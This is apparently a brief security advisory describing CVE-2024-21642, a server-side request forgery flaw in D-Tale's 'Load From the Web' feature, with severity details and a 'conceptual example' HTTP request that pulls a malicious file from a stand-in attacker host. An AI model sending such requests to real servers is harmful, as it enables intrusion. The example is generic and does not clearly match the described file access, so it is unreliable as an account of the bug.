Overview
The vulnerability CVE-2024-21642 pertains to D-Tale, a visualizer for Pandas data structures, and affects versions prior to 3.9.0. The issue lies in the potential for server-side request forgery (SSRF), which could allow an attacker access to server files. Given the sensitive nature of the data that could be accessed, this vulnerability poses a significant risk.
Vulnerability Summary
CVE ID: CVE-2024-21642
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
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Product | Affected Versions
D-Tale | Prior to 3.9.0
How the Exploit Works
The exploit works by using the `Load From the Web` feature in D-Tale versions prior to 3.9.0. An attacker can craft a malicious server-side request that is then forged by the vulnerable application. This allows an attacker to access files on the server, potentially leading to system compromise or data leakage.
Conceptual Example Code
Here is a conceptual example of how this vulnerability might be exploited. Note that this is a simplified representation and actual exploitation may involve more complex steps.
GET /load-from-web?file=http://attacker.com/malicious-file HTTP/1.1
Host: vulnerable-server.comIn this example, the “load-from-web” feature is misused to fetch a file from an attacker-controlled server. This file could contain malicious code or commands that compromise the server or leak data.
